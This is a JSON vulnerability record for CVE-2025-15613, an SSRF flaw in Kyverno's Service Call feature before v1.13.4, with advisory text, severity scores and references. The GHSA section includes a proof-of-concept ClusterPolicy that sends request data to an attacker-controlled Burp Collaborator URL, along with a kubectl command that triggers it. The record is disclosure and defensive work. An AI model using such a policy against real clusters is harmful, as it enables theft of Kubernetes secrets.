{"id":"CVE-2025-15613","aliases":["CVE-2025-15613","GHSA-459x-q9hg-4gpq","BIT-KYVERNO-2025-15613","GO-2025-3615"],"related":["CGA-h2gf-h7jw-xp3g"],"kind":"vulnerability","state":"published","title":"Kyverno before v1.13.4 SSRF via Service Call","summary":"Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let's create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n<img width=\"723\" alt=\"Снимок экрана 2025-02-21 в 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" />\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Kyverno vulnerable to SSRF via Service Calls in github.com/kyverno/kyverno","format":"markdown","source":"go"},{"lang":"es","text":"Kyverno en versiones anteriores a la 1.13.4 es vulnerable a falsificación de petición del lado del servidor (SSRF) a través de su funcionalidad Llamada de Servicio. Un atacante con permiso para crear Políticas (de clúster) de Kyverno puede especificar una URL externa en la configuración apiCall/service de una política; aunque la Llamada de Servicio está documentada para servicios dentro del clúster, también resuelve direcciones externas, permitiendo solicitudes a un servidor controlado por el atacante. Dado que los datos de contexto de la política (incluidos los contenidos de recursos de Kubernetes como secretos) se envían en estas solicitudes, un atacante puede exfiltrar datos sensibles del clúster.","source":"nvd"}],"published":"2025-04-15T21:19:37.000Z","modified":"2026-10-19T22:10:00.130Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"1.13.4","status":"affected"},{"type":"semver","version":"1.13.4","status":"unaffected"}],"vendor":"kyverno","product":"kyverno","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.13.4"}],"ecosystem":"Go","package":"github.com/kyverno/kyverno","purl":"pkg:golang/github.com/kyverno/kyverno","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/kyverno/kyverno","purl":"pkg:golang/github.com/kyverno/kyverno","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.13.4"}],"ecosystem":"Bitnami","package":"kyverno","purl":"pkg:bitnami/kyverno","source":"bitnami"}],"references":[{"url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq","tags":["advisory","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://www.vulncheck.com/advisories/kyverno-before-1.13.4-ssrf-via-service-call","tags":["third-party-advisory","web"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://github.com/kyverno/kyverno","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3615","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15613","tags":["web"],"sources":["bitnami"]}],"credits":["r0binak"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-09-01T12:14:32.209Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-15613","url":"https://www.cve.org/CVERecord?id=CVE-2025-15613","licence":"CVE Terms of Use","modified":"2026-09-01T12:15:06.574Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-459x-q9hg-4gpq","url":"https://github.com/advisories/GHSA-459x-q9hg-4gpq","licence":"CC-BY-4.0","modified":"2026-09-18T10:10:41.529Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3615","url":"https://pkg.go.dev/vuln/GO-2025-3615","licence":"CC-BY-4.0","modified":"2026-09-18T10:10:41.529Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-15613","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15613","licence":"Public domain","modified":"2026-10-19T22:10:00.130Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-KYVERNO-2025-15613","url":"https://osv.dev/vulnerability/BIT-KYVERNO-2025-15613","licence":"Apache-2.0","modified":"2026-09-18T10:10:41.529Z"}],"updatedAt":"2026-11-25T22:59:12.482Z","epss":{"score":0.00266,"percentile":0.19743,"date":"2026-12-01T12:00:22.000Z"}}